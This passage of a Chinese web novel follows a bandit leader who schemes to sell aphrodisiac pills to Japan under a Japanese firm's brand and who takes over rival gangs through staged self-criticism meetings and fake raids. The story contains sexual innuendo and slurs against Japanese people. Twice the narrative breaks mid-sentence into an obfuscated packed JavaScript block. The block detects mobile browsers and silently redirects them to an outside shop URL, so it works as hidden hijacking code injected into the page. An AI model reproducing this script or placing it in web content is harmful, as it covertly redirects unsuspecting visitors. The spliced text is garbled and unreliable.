“所以,我想到了一个好主意,你既可以不用做不孝子,我们还可以光明正大的卖药挣钱。” 酒井空故意在李二狗面前卖关子,仿佛对自己的主意非常满意。 李二狗极力配合道:“那你快说啊,我都要急**。” 酒井空莞尔一笑,轻声说道:“用我们井伊商社的名字来包装你制作的药丸。” “你的意思是把我制作的药丸当成是你们井伊商社制作的?” 酒井空显得很兴奋,她晃动着身体紧紧地抱住李二狗。 “对啊,到时候大家都以为这是我们井伊商社的商品,肯定不会有人人会想到是你制作的,你说我这主意是不是非常棒?” 酒井空兴奋地狂吻李二狗,而李二狗依然显得非常为难。 “这样做行吗?咱们这不成了挂羊头卖狗肉吗?” “二狗,这当然行了,我们发大财的机会来了。” 酒井空兴奋的两眼冒绿光。 李二狗故意犹豫了一会儿,在酒井空的反复催促下,才下定决心。 “如果你觉得行,那咱们就试一试,我都听你的。” “二狗,”酒井空趴在李二狗肩头,突然张嘴咬了他一口,“我们继续吧……” 李二狗此时真想马上吃一粒一夜七次丸。 第450章 我有一个挣大钱的生意 忙活了整整一个白日,一直到夜幕降临之后,李二狗才脚步虚浮地来到百乐门大舞厅。 “狗哥,你来了,静雯姐正在楼上等你。” 李师师见到李二狗,没有发骚**,李二狗就猜到静雯肯定在二楼。 “师师,我还等着试试你的嘴行不行呢?你可不能光说不练啊。” 李师师又羞又怕,在李二狗耳边低声挑衅道:“谁光说不练谁心里清楚!你要是敢,我的嘴随时恭候。” 说完还不忘挑衅地瞪了一眼李二狗。 李二狗大腿真打颤,他自己都想不明白,为何他遇到的女人都是如此生猛。 可他嘴上绝不能输! 他先是给李师师抛了个飞眼,然后低声说道:“改日一定领教。” 说完便直接上了楼。 看着李二狗伟岸的背影,李师师咽了一口口水,幽幽地说道:“你早晚是老娘碗里的肉。” 来到二楼办公室,静雯正在低着头看账本,孙小雨坐在她的对面。 早知道孙小雨也在,李二狗就不来了。 “二狗,你怎么才来?”静雯抬头看了一眼李二狗,觉得他脸色有些憔悴,“你怎么了?看着这么憔悴?” 李二狗心里一阵发虚,急忙解释道:“可能还是昨晚没睡好的缘故吧。” “你今天不是在家睡觉吗?”静雯追问道。 这时,孙小雨也抬起头来,果然发现李二狗神色憔悴。 “干爹临时安排我去办点事,哪里还有空睡觉?我这一天都累**,没人管没人问的。” 说着,李二狗一屁股坐到沙发上,作委屈状。 静雯见状,便对孙小雨说道:“小雨,今天咱们就先看到这吧。” 孙小雨丫鬟出身,最懂得察言观色。 她立马站起来,伸了个懒腰,说道:“太好了,累得我腰都快断了,终于可以休息了。” 说完,她偷偷瞥了一眼李二狗,李二狗根本不敢与她对视。 “我去楼下喝点酒,你们忙。” 孙小雨说完就出去了,转身的瞬间脸便阴了下来。 等她走后,李二狗玩笑道:“小雨这丫头还挺懂事。” 静雯走到李二狗身边,直接坐在他的大腿上,李二狗的腿忍不住抖动起来。 为了掩饰自己的虚弱,他故意嚷道:“哎吆,你最近怎么胖了这么多?都快把我腿压断了!” 说着便抱住静雯,把她放在身旁的沙发上。 女人最受不了男人说自己胖,就像男人受不了女人说自己小一样。 “你眼瘸啊?人家最近都瘦了,竟然还说人家胖?真是讨厌!哼!” 李二狗忙哄道:“逗你的,还当真了,真不懂得幽默。” 静雯依偎在李二狗怀里,手开始不老实起来。 李二狗有心无力,又不想露怯,便急忙说道:“静雯,我有一个挣大钱的生意,想和你一起做。” 李二狗迟迟不肯到省城,吴有德便把很多生意都交给静雯打理。 但静雯毕竟是舞女出身,虽有吴有德在旁指点,做生意还是稍显稚嫩。 在她的执掌下,生意不仅没有扩大,有些生意反而出现萎缩。 对此,静雯心急如焚! 如今听到李二狗有挣钱的生意,顿时来了兴趣。 “你快说,是什么生意?” 李二狗神秘一笑。 “卖药!” “卖药?” 静雯刚刚燃起的兴致被兜头泼了一盆冷水。 “对啊,卖药。” “哎,现在卖药根本不挣钱,老百姓想买的药,药房没有,药房有的药又没人愿意买,太难了!” 李二狗把静雯搂入怀中,大脑在快速思考着如何把和酒井空谈好的事情不动声色地说给静雯听。 “静雯,你知道我为什么这么厉害吗?” 李二狗突如其来的一句话把静雯问懵了。 “厉害?你是说嘴吗?嘻嘻。” “别闹,我和你说正事呢。”李二狗捏了一下静雯的俏脸,“我说的是那方面。” “哪方面?” 静雯还是没有反应过来。 李二狗故意挺了挺身子,自豪地说道:“当然是这方面。” 静雯这才反应过来,羞得直打李二狗的胸口。 “你真是没羞没臊,哪有自己夸自己那方面厉害的?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17429210|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' p>李二狗一本正经地问道:“那你说,我到底厉不厉害?” 静雯幸福地把头靠在李二狗胸口,羞羞地说道:“一般一般……” “才一般?” “世界第三!” 两人嬉笑成一团。 “好了,说正事,其实我没告诉过你,我如此厉害是因为吃了我们李家祖传的秘方。” “秘方?什么秘方?” “一夜七次丸!” “啊?”静雯惊得坐直了身子,“还有这东西?你这么厉害……是因为吃了它?” “是啊,我从小吃到大!” “真的假的?” “当然是真的!” 有李二狗这个活生生的例子,静雯不得不信。 “你的意思是咱们卖这个药?” “还是你聪明,”李二狗忍不住亲了一口静雯,“这药不仅男人喜欢,女人更喜欢,一旦上市,肯定可以赚大钱。” 静雯倒没有李二狗那么乐观。 “药倒是好药,可现在老百姓连吃饭都成问题,哪里还有闲钱吃这东西?” “傻瓜!中国老百姓穷,但外国不穷啊,饱暖思淫欲,这是人性!” “你的意思是卖到外国去?” 静雯惊得张大了嘴巴。 把这东西卖到外国去,她想都不敢想! “对,卖到外国去,挣洋鬼子的钱!” “可咱们公司从来没做过出口生意啊,你想卖到哪里去?” 李二狗冷笑一声,轻飘飘地吐出两个字:“日本!” “日本?” 这俩字着实把静雯吓得不轻。 “你找死啊?现在全国都在抵制日货,你却要和日本人做生意,你这不是纯找不自在吗?我告诉你,这绝对不行!这样的钱,有命挣,可不一定有命花!” “看把你吓得?省城大名鼎鼎的静雯经理就这点胆量?”李二狗故意拿话激她。 静雯毫不在意李二狗的讥讽。 “这不是胆大胆小的问题,这是**问题,搞不好要身败名裂的,干爹也不会同意的!” 静雯的反对在李二狗的意料之中,是时候说出他真正的目的了。 第451章 不求最好但求最贵 “静雯,你先不要着急嘛,先听我把话说完,我岂是那种做事顾头不顾腚的人?” 李二狗的话彻底吊起了静雯的胃口。 “那你快和我说说,你到底是什么主意?快说嘛,人家都等不及了。” 李二狗之前铺垫了这么多,现在终于可以光明正大地说出自己真实的目的了。 “你还记得井伊商社吗?” 静雯当然记得井伊商社,她还记得井伊商社有一个特别美艳的女社长,一个和李二狗不清不楚的女人,她的名字叫酒井空。 想到酒井空那张人畜无害的少女脸,静雯便打心底里紧张!便有一种深深的危机感! “怎么,你想和井伊商社做生意?二狗,你疯了吗?这绝对不行!干爹之前就吃过他们的亏,他也肯定不会答应的!” 李二狗对静雯的态度早有准备,他故作镇定地说道:“你看你,又说什么绝对!这个世上哪有什么绝对的事情?你以前能想到你现在的样子吗?” 静雯能有今天的名利和地位,全是因为偶然认识李二狗的原因。 对此她一直心怀感恩,这也是她不计名利,一心跟着李二狗的原因。 “二狗,你别急嘛,我知道你的意思,可井伊商社……” 其实静雯更担心李二狗和酒井空再次产生瓜葛! “井伊商社在日本的影响力非常大,人家还不一定愿意和咱们合作呢!咱们倒先挑挑拣拣上了。” 静雯不想拂逆李二狗的意思,便说道:“即使井伊商社在日本很厉害,可你这个一夜七次丸毕竟是咱们中国的商品,我还是担心会引起国内民众的不满,你也知道,目前咱们国家和日本的关系……” 李二狗微微一笑,显得成竹在胸。 “就因为咱们和日本的关系紧张,所以才更应该挣他们的钱,这其实也是一种爱国!” “可老百姓不管这些,他们会把你当成……” “汉奸?”李二狗呵呵一笑,“早都和你说过了,我李二狗做事不是顾头不顾腚之人,你想的这些问题我早就想到了。” 静雯撅着红唇抱怨道:“那你到底是什么意思嘛?就不能一口气说完!” 李二狗捏了捏静雯有些潮红的脸颊,说道:“咱们以后生产的这种药丸不用咱们自己的名字,用井伊商社的名字对外售卖!没人会知道这种药丸是咱们生产的!” “你咋这么聪明?”静雯顿时有一种豁然开朗的感觉,不过随即她又犯起了难,“可人家井伊商社会答应和咱们合作吗?” “日本男人又矮又矬,恨不得拿这种药当饭吃,哪个商人会拒绝这么大一块到嘴的肥肉?” 静雯开心极了。 “那事不宜迟,咱们得尽快去和井伊商社商谈合作的事宜,我看就由我亲自去谈吧。” 静雯的话吓得李二狗打了一个冷颤。 “还是我去吧,现在全国都在抵制日货,你作为吴氏企业的经理,出入日本商社多有不便,要是被别人看见,怕是解释不清!” 李二狗说的合情合理,静雯根本找不到反驳的理由,但她还是不愿意李二狗去接触酒井空。 在她心里可以允许他和别的女人好,却接受不了他和酒井空有瓜葛。 至于原因,她自己也说不清楚。 “可你去也不方便啊,你是五爷的干儿子,要不然还是派别人去吧?” 李二狗耐心地劝道:“有几个人知道我是吴爷的干儿子?我只不过是江东一个地主大院的管家罢了,即使被人看见又能怎么样?这么重要的事情,别人去咱们也不放心啊。” 静雯再也找不到理由反驳,只好无奈地点了点头。 “那你明天白天再去。” 李二狗拍了一下静雯紧绷又富有弹性的屁股,笑道:“你什么时候变得这么小心眼了?我是去谈生意又不是去泡妞。” 静雯撅着小嘴,一脸的不乐意。 “那个日本女人,我见了都流口水,更何况你们男人!哼,你只能去谈生意,不能谈别的!” “哈哈,也就你把我当个宝,人家外国女人怎么会看上我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17429211|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 这么一个土老帽?” 李二狗不想继续和静雯在这个问题上纠缠,便赶紧转移了话题。 “等咱们和井伊商社谈好了合作,咱们药材公司就要全力以赴生产这种药丸了,一定要记住,生产出来的药丸一定不能告诉工人到底卖去哪里!” “这恐怕有点难吧?工人有识字的。” “这有何难?到时候生产出来的药丸只用白色锡纸包裹,等运到日本之后再放入井伊商社的包装盒内,可以保证万无一失!” “二狗,我简直爱死你了,你的主意实在是太多了!” “哈哈,你以为我只有那方面才厉害吗?我是全方位都厉害!” 静雯粉拳不停地捶打着他的胸膛,娇声道:“说你胖你还喘上了!对了,咱们这种药丸怎么卖?你明天去谈判之前一定要先想好价格。” 李二狗故作神秘地问道:“你觉得一粒这种药丸咱们卖多少钱合适?” 静雯想了半天,伸出一个手指头,试探着问道:“卖一毛?” “一毛?你打发要饭的呢?至少一块大洋!” “一块大洋?” 静雯惊得胸脯子一抖一抖的,一粒小药丸敢卖一块大洋,她想都不敢想! “是啊,一块大洋,这是咱们卖给井伊商社的价格,他们的售价至少还得翻一倍!” “这能行吗?会不会太贵了?” 静雯依然难以相信!一块大洋都能买一袋子面粉了。 李二狗笑道:“这种药丸,咱们本来就不是卖给普通老百姓吃的,专供日本成功人士。什么叫成功人士,你知道吗?成功人士就是他无论买什么东西,都买最贵的,不买最好的!所以咱们卖药的口号就是,不求最好但求最贵。” 静雯简直爱死李二狗了。 “二狗,我想给你生个狗崽子。” “现在?” “现在!” “这里?” “这里!” “救命啊!” “你就从了我吧,嘻嘻!” 第452章 大棒加胡萝卜 一夜七次丸虽然不是李二狗家的祖传秘方,但却是真实存在的药丸。 前段时间,牛旺财就是因为吃了它才断送了性命。 牛旺财吃得那种药,李二狗是断断不敢卖的,倒不是因为怜惜日本人,吃死人事小,引起中日国际纠纷就是大事了。 虽然酒井空是一个日本人,但对自己却是格外地温柔体贴加卖力,李二狗绝不能害她。 他准备回江东寻找几个乡下老中医调配几种壮阳补肾的药丸。 壮阳药看似高大上,其实并不复杂,无非就是添加一些有壮阳作用的中草药和短时间内有刺激性作用的药物。 很多时候,男人因为身体疲劳或者过于兴奋,表现的不尽人意,这都是正常的现象。 但有些男人却觉得是自己的身体出现了问题,心理压力过大,越怕自己不行反而表现的越不行。 其实并不是男人不行,而是自己心理上觉得不行。 如果告诉他吃了这种药管用,心理上的暗示将会让他恢复大半的功力。 如果这种药丸在日本卖得好,李二狗打算把开垦出来的那些荒地全部用来种植淫羊藿、菟丝子、仙茅、附子等具有壮阳补肾作用的中药材。 从原材料种植、加工到制作,李二狗计划打造一条完整的壮阳药产业链。 男人上了一定的年纪容易出现腰膝酸软、阳而不举,举而不硬的毛病,这个行业大有可为! 但李二狗有自己的原则。 这种药只能在日本销售,却不能在国内销售。 他能坑日本人的钱,却绝对不能坑中国人,这是他做人的底线。 吴有德协调购买的武器弹药已经通过水路运往江东,李二狗也告别众人返回江东。 清风寨内。 “狗哥,这挺歪把子机枪太带劲了!这一梭子下去,得倒下一大片!” 陈老三抱着一挺崭新的歪把子机枪爱不释手。 “还是这迫击炮厉害,这一发炮弹打出去,岂止倒下一大片的,那得两大片,哈哈。” 陈嘎子摆弄着崭新的日本造迫击炮,乐得像吃了蜜蜂屎一般。 李二狗看着众人,面露笑意,一副成竹在胸的样子。 “大家安静一下,咱们开会!” 李二狗一声令下,大家纷纷放下手中的武器,返回座位,准备倾听李二狗发号施令。 “大家报上来的剿匪计划我都看了,很好。” 他环视众人,众人脸上都是一副高兴的表情。 “不过,我还是要着重夸一夸秀才制定的这份计划。” 上次寨务会,李二狗刻意敲打秀才,这次寨务会,他又表扬秀才,这叫恩威并施,大棒加胡萝卜! 秀才脸上先是错愕,继而眼泛泪花。 自从上次寨务会,李二狗不点名地批评了他,秀才一直以为李二狗会放弃自己,没想到他依然如此重视自己,他怎能不感动? “其他人都是挑选了四五个小山寨,采用逐个击破的方法,这是常规的打法,没有什么新奇的。” 李二狗故意顿了顿:“而秀才的计划却不一样,他选择先剿灭他负责那边区域内最大的一个山寨,这个思路很好啊。” 陈老三还是像往前一样的不服气,他不解地问道:“先剿灭最大的山寨?秀才,你小子未免有些太托大了吧?要是这个山寨剿灭不下来,我看你怎么收场!” 李二狗没有搭理陈老三,而是看向秀才,说道:“秀才,你给大家说说你的想法吧。” 秀才点点头,故意咳嗽一声,清了清嗓子。 “我的想法其实很简单,先剿灭最大的山寨,其他山寨就会不战而降,省去很多麻烦。因为如果我们先拿小山寨动手,即使剿灭了他们,其他大山寨也不会感到威胁,最后还是要去剿灭他们,如果这样,还不如先对大山寨动手,一劳永逸。” 虽然李二狗之前已经有了自己的剿匪思路,但秀才的想法证明他是一个爱动脑子的人,这样的人才正是以后建立清风集团所需要的。 秀才说完,陈老三便闭了嘴,因为他确实已经找不到任何反驳的理由。 “大家还有什么意见吗?” 李二狗习惯性地发扬民主,让大家畅所欲言。 陈老三虽然知道自己的意见不重要,但还是忍不住说出来。 “狗哥,那我们都改成和秀才一样的计划吗?” 李二狗笑了笑,说道:“不管白狗黑狗,只要能抓住耗子就是好狗,只要你们能完成既定任务,想怎么做就怎么做,这个我不管。” 李二狗对整个剿匪计划早有全盘谋划,他需要的就是打下几个山寨造造声势,目的是配合自己的大计划实施。 之所以当众夸秀才,是因为秀才做事肯动脑子,值得夸奖。 在清风寨,只要你做得好,就会得到表扬。 清风寨绝不会埋没人才! 陈老三听李二狗如此一说,脸上立刻表现出一副满不在乎的表情。 “那看来秀才的计划也不是最好的嘛,哈哈!” 陈老三哈哈一笑,其他人并没有跟随,因为他们看到李二狗表情非常严肃。 在任何场合,在猜不透领导真正意图的时候,和领导保持一致无疑是最正确的选择。 “老三,你狗日的兴奋什么?你觉得自己做得比大家都好吗?” 李二狗一句喝骂,陈老三连屁都不敢放了,乖乖地闭上了嘴巴。 “自从咱们上山以来,的确取得了一些成绩,这当然值得我们高兴,但我发现有些兄弟已经有些飘飘然了,说话做事完全不按章法,全然忘记了当初我们是因为什么上的山!” 李二狗环视众人,众人全部低着头,议事厅内静极了。 “这种行为在咱们山寨是绝对不允许的,如果哪位兄弟觉得自己翅膀硬了,可以出去单干,那可以提出来,我李二狗绝不强留。” 众人屏住呼吸,总觉得李二狗说的人就是自己。 “上次寨务会,我安排你们每个人回去之后都要反思自己的行为,寻找自己身上存在的问题,同时还要给其他人提两条意见,大家回去都准备好了吗?” 第453章 我陈老三不是个东西 陈老三抬起头,大声说道:“狗哥,我准备好了,要不然我先来?” 陈老三之所以表现的如此踊跃,是因为望冬昨晚特意安排他这样做的。 望冬之所以安排他这样做,是因为李二狗安排望冬这样做的。 另外,陈老三的发言稿也是李二狗连夜给修改过的。 这样做,表面看来是李二狗器重陈老三,其实就是李二狗想拿陈老三当枪使。 陈老三的性格也确实适合做这种放炮的角色。 李二狗笑道:“老三,你这种积极的态度还是值得肯定的,那你先来吧。” 陈老三站起来,拿起提前准备好的小本本,清了清嗓子。 “我陈老三不是个东西!” 陈老三此话一出,举座皆惊! 他们万万没有想到陈老三平时一个直眉瞪眼的家伙竟能直接骂自己不是东西! “前段时间我去王家集办事,我见那掌柜的瞪了我一眼,就直接给了他一个大耳光。现在想想,他不过是看我长的粗鲁,担心我抢他柜上那点钱罢了。” “弟兄们上山跟着我们,原是是为了活下去,平平安安地混口饭吃,可有一次,我却逼着他们攻打李家大院,烧了李地主家的房子,原因竟是李地主见我的时候没有点头哈腰!” 他突然猝不及防照着自己脸上扇了一巴掌,声音发颤道:“我总说自己是英雄好汉,其实就是个祸害!再这么下去,不用官府来剿,老天爷也容不下我!” “我身上之所以出现这种问题,本质上是我对自己缺乏正确的认知,平时放松了对自己的要求,总觉得咱们山寨现在有了粮有了钱有了人马,这一切都有我的功劳,我应该好好享受这一切!” “酒孬了不喝,肉肥了不吃,后来竟发展到需要人来伺候,不是小姑娘我还不愿意!我真他妈的不是东西!” “现在想想,在狗哥面前,在各位兄弟面前,我陈老三算个屁啊?我连屁都不算!我做的那一点点事情,在狗哥面前,在各位兄弟面前,简直不值一提!” “在这个山寨,即使没有我陈老三,它一样会有如今的规模、如今的成绩。” “根本就不是我陈老三壮大了山寨,是山寨成就了我陈老三,没有山寨,没有狗哥,就没有我陈老三的一切!” 说到动情处,陈老三已经痛哭流涕,泣不成声。 “我对不起狗哥,对不起山寨的弟兄们,请狗哥和兄弟们再给我一次机会,我陈老三一定洗心革面,重新做人!呜呜……” 陈老三的哭声令大家心颤,也发慌。 他们万万没有想到,平时趾高气扬的陈老三今天能彻底放下身段,直触自己的灵魂,把自己扒光了揉碎了给大家看,这需要多大的勇气啊! 看着自己面前的发言稿,大家顿时有一种自惭形秽的感觉。 “听了老三的发言,我深受触动。咱们今天的这个反思会,不是为了批评谁,也不是为了处罚谁,完全是为了惩前毖后、治病救人!” “老三能结合自己日常的种种行为,剖析自己存在这种行为深层次的原因,说明他动了脑子,下了功夫,也真的意识到自己这种行为带来的危害性。我觉得我们应该为老三这种发自肺腑、真实而坦诚的态度鼓掌!” 大家一阵热烈而持久的掌声。 陈老三本来并不愿意这样做,是望冬以不让他上床为由相逼,他才不得不答应下来。 如今看来,望冬是对的。 “请狗哥和兄弟们放心,我一定改正自身存在的这些臭毛病,在狗哥的带领下,为山寨的发展壮大贡献自己的一份力量。” 大家又是一阵掌声。 “老三给大家带了一个好头,接下来请秀才发言。” 秀才也是站起来,拿起桌上的小本本。 “我秀才不是人!” 他“咚”地砸了一下桌面,显得痛心疾首。 李二狗嘴角露出一丝不易觉察的微笑。 “上个月抢张家大院,我见院里一个娘们长的有几分姿色,就……就动了歪心思。” 悔恨的泪水已经夺眶而出。 “狗哥说了多少回,对这种作恶多端、为富不仁的地主,我们只劫财不劫色,可我偏当耳旁风!要不是弟兄们拉着,我差点犯了不可饶恕的错误!” 他猛地扯开上衣衣襟,露出胸口那道狰狞的刀疤。 “这疤是当年被官府的人砍的,我总说自己是被逼上梁山,可到头来,跟那些狗官有啥两样?” “从今往后,谁再犯这浑,先问问我这把刀!”他拔出腰间的一把匕首拍在桌上,“再敢动无辜老百姓一根汗毛,我秀才第一个劈了自己!” 秀才说得痛心疾首,可李二狗却并不满意,因为他只是在学陈老三,对自己身上存在的享乐主义、奢靡主义却丝毫未提。 典型的避重就轻随大流! 李二狗没有说话,秀才便不敢坐下。 议事厅内静极了。 秀才是何等聪明之人,他立刻意识到李二狗对自己的不满。 他掏出手绢,擦了擦眼泪,然后继续反思道:“这些还不是最重要的,自从我上山之后,得到了狗哥的格外器重,让我独自掌管一个山寨。” 秀才再次拿起手绢擦了擦眼泪。 “可我不但不知道感恩,反而觉得这是自己应得的,心中也慢慢滋生出及时享乐的念头,吃得吃最好的,喝也要最好的,还让人伺候自己的起食饮居。” “我秀才太不是东西了,我对不起狗哥的器重,对不起兄弟们的关爱。” 秀才哭得两个肩膀都抖动起来。 “我请求狗哥撤去我霸虎寨经理一职,我愿意到清风寨做狗哥的一个马弁。” 李二狗这才咳嗽了两声,露出了满意的表情。 “刚才秀才兄弟的反思很深刻啊,深挖细究自身存在的问题根源。我刚才都说过了,咱们这次反思,不是为了处罚谁,完全是为了让大家对自己有一个清醒的认识,只要改正了,咱们还是好兄弟。” “嘎子,接下来到你了。” “我陈嘎子不是个东西!” …… 第454章 李二狗整合江东土匪武装 大家一个接一个地剖析自身存在的问题,一个接一个地痛哭流涕,悔不当初,会议开得无比成功。 出乎大家意料的是,李二狗并没有在会上做自我反思。 不管他是有意还是无意,大家都没有提醒他,当然也没人敢提醒他。 李二狗看着哭红双眼的众人,有一种意犹未尽的感觉。 他觉得这样的会议以后一定要常开,形成一种惯例,只有让大家时刻保持一种敬畏之心,才能自觉约束自己的行为。 在他看来,约束人必须靠规章制度,如果只是靠自觉和个人良知,那无疑是在害人! “听了大家的反思,我很受触动,看来大家每个人都下了一番功夫。俗话说当局者迷,旁观者清,为了避免出现灯下黑,接下来请大家相互给对方提意见,我看,就从给我提意见开始吧。” 李二狗习惯性地环视一圈众人,大家纷纷低着头,保持着沉默,他们谁都不想当这个出头鸟,当然最重要的还是他们谁都不敢给李二狗提意见。 李二狗看向望冬,她也低着头,两根手指缠绕在一起,很显然,她在掩饰内心的紧张情绪。 李二狗知道望冬一向很机灵,便有意考验考验她。 他直接点名道:“望冬,你是咱们这里唯一的女性,女士优先,我看还是你先来说吧。” 大家这才长长地舒了一口气。 望冬抬起那双含情脉脉的眼睛,深情地看了一眼李二狗。 自从昨晚李二狗专门找到她,向她提前交代了一些今天会议的事情之后,她便意识到李二狗对这次会议的重视程度。 所以她便提前做了充足的准备,她知道自己绝不能给李二狗丢脸。 “那我就给狗哥提两条不成熟的意见吧,有说得不对的地方,还请狗哥和各位兄弟们批评指正。” 李二狗鼓励道:“望冬,你只管大胆地提,一定要直触我的灵魂,哪怕你的意见伤的我鲜血淋漓,我也绝不会怪你。” 望冬笑弯了眉眼。 “第一条,狗哥一忙起来就总是忘记吃饭睡觉,根本不注意自己的身体,你要知道你的身体不是你自己的,是咱们整个山寨的,以后一定要为了咱们山寨保重自己的身体。” 众人纷纷表现出一副震惊的表情,这马屁拍的,实在是高! “第二条,狗哥平时对咱们大家太好了,宁可自己多付出,也不让大家吃亏,有时候咱们犯了错误,也不忍批评大家,有老好人的思想。” 望冬说完眉眼含笑,柔声道:“我就先给狗哥提这两条吧,我说完了。” 众人没想到提意见还可以这样,明明是夸奖、是关怀备至,却能当成意见提出来。 望冬真是人精啊! 怪不得人家能得到李二狗的特殊器重。 接下来大家便按照望冬的思路对李二狗提起了意见,李二狗一直微笑不语。 虽然李二狗是一个开明的领导,但他也不希望被人当众提出反对意见,这不仅仅是损害领导权威的问题,这是人性! 人性本就如此,李二狗不是圣人,他当然不能例外! 大家相互提完意见之后,李二狗进行了总结陈词。 “刚才大家对自己的反思和对别人提出的意见都很中肯,也很切中要害,我希望大家不要认为在会上反思完了就觉得没事了,那就违背今天我们开这个会的初衷了。” 大家心里开始变的惴惴不安起来,都反思这么深刻了还不行,那到底要怎样? “大家回去之后,一定要针对自己反思的问题和大家对你提出的意见,制定一个针对性的整改方案,以后每个月月底都要给望冬报一份整改进度,年终我们再开会总结成效,到时候看看大家到底有没有真正改正。大家还有什么意见吗?” 众人一如既往地没有提出反对意见。 “好,保安团的服装和武器弹药都已到位,大家散会之后按照事先分配好的清单领回去。明天县政府的通牒就到期了,咱们该行动了。” “我对大家的要求只有一个,在此次清剿的过程中,我们的身份就是县保安团的士兵,一定不能泄露我们的真实身份,如有泄密者,一律寨规从事!绝不轻饶!” “好,既然大家都没有意见,那就分头去准备吧!” 接下来的几天,江东土匪界发生了惊天动地的变化。 江东县保安团不知道吃错了什么药,同时在多个地区对土匪山寨发动了清剿。 就连江东县周边的几个县保安团也一起展开了清剿行动。 他们用迫击炮、轻重机关枪开道,一路所向披靡。 攻下一个山寨之后,二话不说便放火焚烧。 一时间,江东风声鹤唳、草木皆兵。 接着便有一条重磅消息在江东及其周边地区的土匪山寨流传开来。 保安团接到上级命令,要在一个月之内彻底肃清辖区内的土匪。 可令人感到惊奇的是,作为江东土匪山寨的扛把子,清风寨、霸虎寨和青山寨却一直安然无恙。 接着,一条更加重磅的消息开始在土匪山寨之间传播。 清风寨的大当家和江东县县长孙竹刚是结拜兄弟,而且他还认识省里的大官,所以没人敢动他! 以后在江东县,甚至江东的周边地区,除了他的山寨,其他山寨一律鸡犬不留。 一边是寨破人亡,一边是安然无恙。 形势已经变得愈发明朗。 有一个山寨事先得到确切消息,第二天江东县保安团将对其进行清剿。 他们大当家的走投无路之下,连夜去了清风寨,请求加入清风寨,结果第二天,县保安团便放弃了对这个山寨的清剿。 一时间,清风寨的门槛都被众土匪山寨的头头脑脑踏破了。 短短半个月的时间,除了被消灭的十几个土匪山寨之外,其他山寨纷纷加入清风土匪集团。李二狗在短时间内完成了对江东县及其周边地区土匪武装的整合。 江东县第一届土匪大会即将在清风寨隆重召开! 第455章 江东县第一届土匪大会 立冬之后,天地渐渐变得空旷。 树木静立、河流缓缓,山河大地在冬日的宁静中,孕育着春天的生机。 细雨生寒未有霜,庭前木叶半青黄。 冬日朝阳下的清风寨锣鼓喧天、鞭炮齐鸣、红旗招展、人山人海。 江东县第一届土匪大会如期在清风寨隆重召开。 江东县及其周边地区大小四十五个土匪山寨的头头脑脑全部聚集在清风寨。 会议正式开始之前,李二狗特意安排陈老三、望冬等人带领参会人员实地参观清风寨。 那一门门山炮、迫击炮,那一挺挺轻重机关枪,引来大家一阵阵惊呼。 参观完武器展出之后,望冬还热情地带领大家参观了清风寨福利房、粮仓以及后山开垦的大片荒地。 “怪不得清风寨是江东土匪的扛把子,人家这实力确实是实至名归啊!” “哎,这样的好日子我是一天也没享受过啊!” “听说人家清风寨还分配媳妇呢,我啥时候才能有这好命啊!” “傻狍子,咱们现在已经归顺了清风寨,以后不就都有了吗?” 大家边看边议论,很快就在望冬的引领下来到清风寨议事厅门口。 门口放着一排花篮,有几个识字的土匪看到花篮上的落款时,顿时惊呆了! 江东县政府、江东县警察局竟送来了恭贺花篮! 热烈祝贺清风集团成立! 大家在震惊中走入议事厅。 李二狗正坐在正中央的一把椅子上,脸上蒙着面巾,眼神自带一种威严! 大家顿时安静下来,纷纷看向传说中的清风寨大当家,一个神龙见首不见尾的神秘人物。 议事厅中间放着一张硕大的由松柏制作的会议桌,会议桌正中放着一把椅子,那是李二狗的专座。 桌子两边各放有五把椅子,平时开寨务会的时候,陈老三、望冬、秀才、陈嘎子和张石头等人分居两侧。 本来望冬建议在清风寨中心广场上搭建一个会场,因为议事厅根本坐不下这么多人,但李二狗坚持在议事厅召开这次大会。 他特意吩咐望冬,在议事厅周边靠着墙摆放一圈小马扎。 望冬起初不理解李二狗的做法,认为这样做实在是不礼貌。 但李二狗只是微微一笑,并没做过多解释,只是让望冬按照吩咐行事。 大家进入议事厅之后,看到内部的布局时,纷纷窃窃私语起来。 李二狗在大家的注视下慢慢站起身,一挥手,大家才慢慢安静下来。 “欢迎大家来到清风寨出席江东县清风集团成立大会!” 此话一出,顿时引起一阵骚动。 “不是江东县第一届土匪大会吗?怎么变成清风集团成立大会了?” “这个集团是个什么东西?我怎么从来没有听说过!” “我看呐,今天要出大事!” …… 李二狗故意咳嗽一声,再次挥手压了压,大家才渐渐安静下来。 “我知道大家心里肯定有很多疑问,待会我会一一向大家解释清楚,大家先坐吧,今天开会的地方比较简陋,只能委屈大家先坐在这些小马扎上了,招待不周,还请大家见谅。” 众人早就料到自己会坐在小马扎上,心中虽有一肚子意见,但也不敢当众提出来。 好在大家都一样,便也没有太多议论。 大家坐定之后,陈老三等人坐在了会议桌的两侧。 会议正式开始。 “首先,我代表清风寨四百多名弟兄热烈欢迎众山寨的兄弟百忙之中来参加今天的会议。” “在会议开始之前,请允许我先向大家介绍一下我们清风寨的几位经理。” “经理是什么?” “经理是什么都不懂,你咋这么没文化呢?经理就是领导,人家大城市的工厂里都称呼领导为经理。” “咱们这也不是大城市的工厂啊?咱们是土匪山寨!” “没听说要成立清风集团吗?” “真是狗长犄角——闹样式。” “你小点声,被他们听见就麻烦了。” 